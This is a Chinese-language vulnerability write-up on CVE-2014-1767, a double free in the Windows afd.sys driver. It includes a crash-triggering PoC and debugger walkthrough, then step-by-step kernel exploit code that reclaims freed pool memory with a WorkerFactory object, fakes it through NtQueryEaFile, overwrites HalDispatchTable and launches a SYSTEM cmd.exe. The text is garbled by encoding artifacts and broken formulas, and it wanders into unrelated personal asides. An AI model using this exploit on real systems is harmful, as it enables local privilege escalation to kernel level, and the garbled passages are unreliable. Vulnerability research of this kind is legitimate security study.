
一、基本分析
1.雙擊調(diào)試得到crash信息
省略配windbg+vmware+win7雙機(jī)調(diào)試的過(guò)程,其實(shí)也不是想象中那么難。
管理員權(quán)限啟動(dòng)設(shè)置好命令行參數(shù)的windbg快捷方式,windbg會(huì)自動(dòng)開(kāi)始連接被調(diào)試機(jī),并在int 3斷下,此時(shí)被調(diào)試機(jī)會(huì)卡住。


輸入g繼續(xù)運(yùn)行,并在虛擬機(jī)中點(diǎn)擊運(yùn)行poc.exe
#include<windows.h>
#include<stdio.h>
#pragma comment(lib,"WS2_32.lib")
int main()
{
DWORD targetSize=0x310;
DWORD virtualAddress=0x13371337;
DWORD mdlSize=(0x4000*(targetSize-0x30)/8)-0xFFF0-(virtualAddress& 0xFFF);
static DWORD inbuf1[100];
memset(inbuf1,0,sizeof(inbuf1));
inbuf1[6]=virtualAddress;
inbuf1[7]=mdlSize;
inbuf1[10]=1;
static DWORD inbuf2[100];
memset(inbuf2,0,sizeof(inbuf2));
inbuf2[0]=1;
inbuf2[1]=0x0AAAAAAA;
WSADATA WSAData;
SOCKET s;
sockaddr_in sa;
int ierr;
WSAStartup(0x2,&WSAData);
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
memset(&sa,0,sizeof(sa));
sa.sin_port=htons(135);
sa.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");
sa.sin_family=AF_INET;
ierr=connect(s,(const struct sockaddr *)&sa,sizeof(sa));
static char outBuf[100];
DWORD bytesRet;
DeviceIoControl((HANDLE)s,0X1207F,(LPVOID)inbuf1,0x30,outBuf,0,&bytesRet,NULL);
DeviceIoControl((HANDLE)s,0X120C3,(LPVOID)inbuf2,0x18,outBuf,0,&bytesRet,NULL);
return 0;
}
等待windbg再次斷下,使用命令!analyze -v獲取dump文件的詳細(xì)信息:
可以看到崩潰的原因是重復(fù)釋放一塊已經(jīng)被釋放的內(nèi)存

其他的崩潰信息:



出問(wèn)題的是afd.sys模塊,漏洞的類(lèi)型為double free,free 的對(duì)象是Mdl,并且發(fā)生崩潰時(shí)存在這樣的調(diào)用關(guān)系:
afd!AfdTransmitPackets==> afd!AfdTliGetTpInfo==>afd!AfdReturnTpInfo==>nt!IoFreeMdl
除此之外還需要分析:afd!AfdTransmitFile==>afd!AfdTliGetTpInfo==>afd!AfdReturnTpInfo==>nt!IoFreeMdl這條調(diào)用鏈,雖然沒(méi)有顯示在crash的調(diào)用棧信息中,但這是poc中第一次調(diào)用DeviceIoControl時(shí)的free過(guò)程。
2. IO控制碼0x1207F——第一次free
poc中程序調(diào)用兩次DeviceIoControl,分別向IO控制碼0x1207F和0x120C3發(fā)送數(shù)據(jù):
DeviceIoControl((HANDLE)s,0X1207F,(LPVOID)inbuf1,0x30,outBuf,0,&bytesRet,NULL);
DeviceIoControl((HANDLE)s,0X120C3,(LPVOID)inbuf2,0x18,outBuf,0,&bytesRet,NULL);
在windbg中對(duì)nt!NtDeviceIoControlFile設(shè)置條件斷點(diǎn),使其在處理IO控制碼0x1207F時(shí)斷下。IO控制碼是NtDeviceIoControl第6個(gè)參數(shù),即esp+18,因此條件斷點(diǎn)命令為:
bp nt!NtDeviceIoControlFile ".if (poi(esp+18) = 0x1207F){}.else{gc;}"
1)afd!AfdTransmitFile
當(dāng)IO控制碼 IoControlCode=0x1207F 時(shí),afd 驅(qū)動(dòng)會(huì)調(diào)用 afd!AfdTransmitFile。

根據(jù)之前的crash信息我們看到會(huì)執(zhí)行AfdTliGetTpInfo(),要想執(zhí)行到調(diào)用該函數(shù),需要滿(mǎn)足:
"v54 & 0xFFFFFFC8 ==0"
"v54 & 0x30 != 0x30"
"v54 & 0x30 != 0"
qmemcpy之后v45的內(nèi)容:

可以看到此時(shí)的v45的內(nèi)容正是我們調(diào)用DeviceIoControl時(shí)的參數(shù)inbuf1。而v54即inbuf1[10] 。
當(dāng)inbuf1滿(mǎn)足上述條件時(shí),
AfdTransmitFile 會(huì)調(diào)用AfdTliGetTpInfo ( 3 )
2)AfdTliGetTpInfo
結(jié)合對(duì)AfdTliGetTpInfo, AfdReturnTpInfo, AfdAllocateTpInfo, AfdInitializeTpInfo 的綜合
分析,得到tpinfo數(shù)據(jù)結(jié)構(gòu)的定義

AfdTliGetTpInfo調(diào)用ExAllocateFromNPagedLookasideList 從afd內(nèi)部使用的lookaside list中申請(qǐng)一個(gè)tpinfo結(jié)構(gòu)體


顯然這時(shí)候lookaside list為空,將調(diào)用AfdAllocateTpInfo分配一片空間:

其中AfdInitializeTpInfo完成對(duì)申請(qǐng)得的tpinfo作相關(guān)初始化。程序從AfdTliGetTpInfo返回后返回值是一個(gè)tpinfo結(jié)構(gòu)體:

再之后程序會(huì)調(diào)用IoAllocateMdl申請(qǐng)一個(gè)mdl結(jié)構(gòu)體,參數(shù)virtualaddress和length是在poc中定義的inbuf1[6]、inbuf1[7]

顯然virtualaddress是我們隨便寫(xiě)的一個(gè)值,接著執(zhí)行MmProbeAndLockPages會(huì)觸發(fā)異常跳轉(zhuǎn)到AfdReturnTpInfo去執(zhí)行
3)AfdReturnTpInfo
可以看到此時(shí)調(diào)用AfdReturnTpInfo的參數(shù)正是之前AfdTliGetTpInfo申請(qǐng)到的tpinfo的地址

free了mdl結(jié)構(gòu)體之后沒(méi)有清零指針,造成了一個(gè)懸掛指針,存放在 tpInfo 中的 Mdl 指針并沒(méi)有清空,tpInfo 中 elemCount也維持原始值,未做改動(dòng),那么假設(shè)現(xiàn)在再對(duì)這個(gè)tpinfo調(diào)用一次 AfdReturnTpInfo ,則勢(shì)必會(huì)造成 double free。


之后會(huì)將tpinfo放入lookaside:

2. IO控制碼0x120C3——第二次free
第二次 DeviceIoControl,IoControlCode = 0x120C3, 將會(huì)調(diào)用AfdTransmitPackets
仍然先下一個(gè)條件斷點(diǎn):
bp nt!NtDeviceIoControlFile ".if (poi(esp+18) = 0x120C3){}.else{gc;}"
斷下后繼續(xù)執(zhí)行到AfdTransmitPackets
poc中我們?cè)O(shè)定的inbuf2的內(nèi)容:
inbuf2[0]=1;
inbuf2[1]=0x0AAAAAAA;
可以使程序執(zhí)行到AfdTliGetTpInfo

并且調(diào)用AfdTliGetTpInfo的參數(shù)是我們?cè)O(shè)置的0x0AAAAAAA
進(jìn)入AfdTliGetTpInfo執(zhí)行,先從looaside表中取出一個(gè)tpinfo:


繼續(xù)執(zhí)行,顯然參數(shù)0x0AAAAAAA>3會(huì)進(jìn)入if執(zhí)行

32位機(jī)器試圖分配0xfffffff0大小的內(nèi)存會(huì)失敗,觸發(fā)異常轉(zhuǎn)去執(zhí)行AfdReturnTpInfo

再次執(zhí)行到IoFreeMdl會(huì)再次釋放之前的那個(gè)mdl:

接下即crash系統(tǒng)崩潰。
二、漏洞利用
1. 思路
思路當(dāng)然都是別人的(X 。。X)
外文pdf以及我參照的這篇 [原創(chuàng)]CVE-2014-1767_Afd.sys_double-free_漏洞分析與利用
1)調(diào)用 DeviceIoControl, IoControlCode = 0x1207F, 造成一次 MDL free
2)新建某個(gè)對(duì)象,使得這個(gè)對(duì)象恰好占據(jù)剛才被 free 掉的空間
3)調(diào)用 DeviceIoControl, IoControlCode =0x120c3,再次釋放,釋放掉
剛才新申請(qǐng)的對(duì)象
4)覆蓋被釋放掉的對(duì)象為可控?cái)?shù)據(jù)(偽造對(duì)象)*
5)嘗試調(diào)用能夠操作此對(duì)象的函數(shù),讓函數(shù)通過(guò)操作我們剛剛覆蓋的可控?cái)?shù)據(jù),實(shí)現(xiàn)一個(gè)內(nèi)核內(nèi)存寫(xiě)操作,這個(gè)寫(xiě)操作最理想的就是“任意地址寫(xiě)任意內(nèi)容”,這樣我們就可以覆寫(xiě) HalDispatchTable 的某個(gè)單元為我們 ShellCode 的地址,這樣就可以劫持一個(gè)內(nèi)核函
數(shù)調(diào)用
6)用戶(hù)層觸發(fā)剛剛被 Hook 的 HalDispatchTable 函數(shù),使得內(nèi)核執(zhí)行 shellcode,提權(quán)
耳目一新的思路,把一個(gè)double free愣是玩成了use after free,實(shí)質(zhì)就是借助double free兩次釋放的機(jī)會(huì)分別使用uaf,完成對(duì)一個(gè)對(duì)象內(nèi)容的修改來(lái)實(shí)現(xiàn)一個(gè)內(nèi)存寫(xiě)操作,然后進(jìn)行hook。
2. 選擇合適的對(duì)象
A)這個(gè)對(duì)象的大小要等于第一次被釋放的mdl內(nèi)存的大?。╱af)
B) 這個(gè)對(duì)象應(yīng)該有這樣一個(gè)操作函數(shù),這個(gè)函數(shù)能夠操作我們的惡意數(shù)據(jù),使得我們簡(jiǎn)介實(shí)現(xiàn)任意地址寫(xiě)任意內(nèi)容
經(jīng)過(guò)逆向,第一次釋放的是一個(gè)MDL對(duì)象,且MDL對(duì)象的大小是由VritualAddress和length共同決定的(IoAllocateMdl函數(shù)),而virtualAddress和length是由用戶(hù)控制的參數(shù),因此A)的要求就不必?fù)?dān)心了
pages = ((Length & 0xFFF) + (VirtualAddress & 0xF0xFFF)>>12 + (length>>12
freedSize = mdlSize = pages*sizeof(PVOID)+0x1c
接下來(lái)考慮B)的滿(mǎn)足,外文pdf里面提到了WorkerFactory。
不行了不行了跟不住了這篇太長(zhǎng)了

以及每次自己在外面只能吃到的炸過(guò)火炸干的炸混沌

3. WorkerFactory對(duì)象及方法
WorkerFactory對(duì)象存在一個(gè)函數(shù)NtSetInformationWorkerFactory,該函數(shù)位于
C:\windows\system32\ntoskrnl.exe中的sub_468875(idapython根據(jù)交叉引用和調(diào)用參數(shù)硬篩選出來(lái)的),不知道為為什么微軟官方?jīng)]有下到pdb。
(后來(lái)又下到了,可能是網(wǎng)絡(luò)的問(wèn)題???另外下下來(lái)之后名字是ntkrnlmp.pdb而非ntkrnl.pdb)

可以看到v12是由參數(shù)arg3決定的,而[object+0x10]處的地址也可以通過(guò)uaf修改,這樣就可以實(shí)現(xiàn)一次任意地址寫(xiě)入。
*(_DWORD *)(*(_DWORD *)(*(_DWORD *)Object + 0x10) + 0x1C) = v12;// v12=arg3
我們可以設(shè)置*arg3 = ShellCode , (object+0x10)+0x1C == HalDispatchTable 某個(gè)單元
4.如何修改WorkerFactory對(duì)象的數(shù)據(jù)
前面的思路里說(shuō)到了在調(diào)用 DeviceIoControl, IoControlCode =0x120c3第二次釋放之后,再利用uaf申請(qǐng)一塊內(nèi)存實(shí)現(xiàn)修改WorkerFactory對(duì)象。只有實(shí)現(xiàn)了這一步我們才能利用上面的 ((*object+0x10)+0x1C) == *arg3 實(shí)現(xiàn)任意地址寫(xiě)任意內(nèi)容。
我們分析知道被釋放的 MDL 屬于 NonPagedPool,而用戶(hù)空間的 VirtualAlloc 并沒(méi)有能力為我們?cè)?NonPagedPool 上分配空間從而讓我們覆蓋我們的數(shù)據(jù)!這就又要采取類(lèi)似使用 NtSetInformationWorkerFactory 的方法,找那樣一個(gè) Nt*系列函數(shù),它的內(nèi)部操作能夠?yàn)槲覀兺瓿梢淮?ExAllocatePool 并且是 NonPagedPool,并且還有能復(fù)制我們的數(shù)據(jù)到它新申請(qǐng)的這個(gè)內(nèi)存中去!說(shuō)白了就是完成一次內(nèi)核 Alloc 并且 memcpy 的操作!會(huì)有這么完美的函數(shù)等著我們嘛?會(huì)是哪個(gè)?還是借助那篇 pdf 的思路,對(duì)就是NtQueryEaFile !

其中EaListLength和EaList都是可控的參數(shù):
NTSTATUS __stdcall NtQueryEaFile( HANDLE FileHandle,
PIO_STATUS_BLOCK IoStatusBlock,
PFILE_FULL_EA_INFORMATION Buffer,
ULONG BufferLength,
BOOLEAN ReturnSingleEntry,
PFILE_GET_EA_INFORMATION EaList,
ULONG EaListLength,
PULONG EaIndex,
BOOLEAN RestartScan)
還有一個(gè)坑,這里使用的是ExxAllocatePoolWithQuotaTag而不是ExAllocatePoolWithTag,二者的差別在于申請(qǐng)的內(nèi)存字節(jié)數(shù)上,對(duì)ExxAllocatePoolWithQuotaTag其內(nèi)部是調(diào)用的是
ExAllocatePoolWithTag(PoolType, length+4, tag)

因此使用 NtQueryEaFile 時(shí)候,字節(jié)數(shù)=EaLength=objSize-0x4 才可以正常利用堆緩沖機(jī)制使得申請(qǐng)的內(nèi)存正好占據(jù)原本對(duì)象的空間。
以及NtQueryEaFile函數(shù)之后會(huì)把分配的內(nèi)存釋放掉,不過(guò)除了堆頭部那些東西剩下的數(shù)據(jù)不會(huì)改變,不會(huì)影響到我們接下來(lái)的利用。
到這里真的對(duì)想出漏洞利用方法的人五體投地,也意識(shí)到自己的局限和漫長(zhǎng)的道路??梢钥吹角懊嫔婕暗搅撕芏嗬淦У膚indows函數(shù),類(lèi),以及對(duì)windows內(nèi)核函數(shù)的逆向,真的是一個(gè)很長(zhǎng)的積累的過(guò)程。
5.偽造WorkerFactory對(duì)象
之前使用uaf利用方法的前提是申請(qǐng)的內(nèi)存大小要與WorkerFactory對(duì)象一致,那么該對(duì)象的大小是多少呢?
根據(jù)NtCreateWorkerFactory->ObpCreateObject->ObpAllocateObject->
ExAllocatePoolWithTag得到對(duì)象大小位0xA0

現(xiàn)在已經(jīng)可以利用第二次調(diào)用DeviceIoControl,并利用uaf的方法修改WorkerFactory對(duì)象的內(nèi)存數(shù)據(jù)。為了保證之后調(diào)用其方法函數(shù)時(shí)不會(huì)出奇怪的錯(cuò)誤,需要考慮對(duì)象原本的數(shù)據(jù)結(jié)構(gòu)
取巧的方法就是直接把正常對(duì)象的頭部復(fù)制過(guò)來(lái)
6. EXP
1)首先第一次釋放,通過(guò)WorkerFactory對(duì)象的大小0xa0反推inbuf1中的length參數(shù),保證二者大小一致,滿(mǎn)足uaf的條件
const DWORD FakeObjSize = 0xA0 ;
DWORD mdlSize = FakeObjSize ;
DWORD virtualAddress = 0x710DDDD ;
DWORD length = ((mdlSize - 0x1C)/4 - (virtualAddress%4 ? 1:0))*0x1000 ;
static BYTE inbuf1[0x30] ;
memset(inbuf1, 0, sizeof(inbuf1)) ;
*(ULONG*)(inbuf1+0x18) = virtualAddress ;
*(ULONG*)(inbuf1+0x1C) = length ;
*(ULONG*)(inbuf1+0x28) = 1 ;
DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, NULL, 0, NULL, NULL);
2)接著創(chuàng)建一個(gè)WorkerFactory對(duì)象:
HANDLE hCompletionPort = CreateIoCompletionPort( INVALID_HANDLE_VALUE, NULL, 1337, 4) ;
LONG ntStatus = fpCreateWorkerFactory( &hWorkerFactory,
GENERIC_ALL,
NULL,
hCompletionPort,
(HANDLE)-1,
NULL,
NULL,
0,
0,
0 );
printf("hWorkerFactory: %p\n", hWorkerFactory) ;
此時(shí)WorkerFactory對(duì)象將會(huì)被分配到之前釋放的位置。
3)然后第二次釋放,
static BYTE inbuf2[0x10] ;
memset(inbuf2, 0, sizeof(inbuf2)) ;
*(ULONG*)inbuf2 = 1 ;
*(ULONG*)(inbuf2+4)= 0x0AAAAAAA ;
DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x10, NULL, 0, NULL, NULL);
4)偽造對(duì)象并拷貝到原本W(wǎng)orkerFactory對(duì)象的位置
首先偽造對(duì)象:
IO_STATUS_BLOCK IoStatus ;
static BYTE FakeWorkerFactory[FakeObjSize] ;
memset(FakeWorkerFactory, 0, FakeObjSize) ;
static BYTE ObjHead [0x28] = { 0x00, 0x00, 0x00, 0x00, 0xa8, 0x00, 0x00, 0x00, // 0xa8 == NonPagedPoolCharge
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
/* objHeader --> +0x10 */ 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, // pointer count, handle count
0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x08, 0x00, // 0x16 == typeIndex
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 } ; // ObReferenceObjectByHandle FAIL
/* objBody --> +0x28 */
memcpy(FakeWorkerFactory, ObjHead, 0x28) ;
static BYTE a[0x14] ;
PVOID *pFakeObj = (PVOID*)((ULONG_PTR)FakeWorkerFactory+0x28) ;
// Init fakeObj to prepare data for DWORD WRITE on HalDispatchTable in NtSetInfomationWorkerFactory
*pFakeObj = a ;
*(PVOID*)(a+0x10) = (PVOID)(((ULONG_PTR)kHalDsipatchTable+sizeof(PVOID)) - 0x1C) ;
使用NtQueryEaFile再次申請(qǐng)一塊內(nèi)存:
fpQueryEaFile = (PNtQueryEaFile)GetProcAddress(hNtdll, "ZwQueryEaFile");
fpQueryEaFile(INVALID_HANDLE_VALUE, &IoStatus, NULL, 0, FALSE, FakeWorkerFactory, FakeObjSize-0x04, NULL, FALSE) ;
5)dword write to HalDispatchTable
通過(guò)HalDispathTable利用任意地址寫(xiě)漏洞來(lái)hook到shellcode的方法參見(jiàn):
windows kernel exploitation基礎(chǔ)教程 – P3nro5e
static PULONG ShotAddress = (PULONG)ShellCode ;
fpSetInformationWorkerFactory(hWorkerFactory, 8, &ShotAddress, sizeof(PVOID)) ;
// Trigger from user mode 觸發(fā)?。?ULONG Interval ;
fpQueryIntervalProfile(2, &Interval) ;
// System Shell
ShellExecuteA(NULL, "open", "cmd.exe", NULL, NULL, SW_SHOW);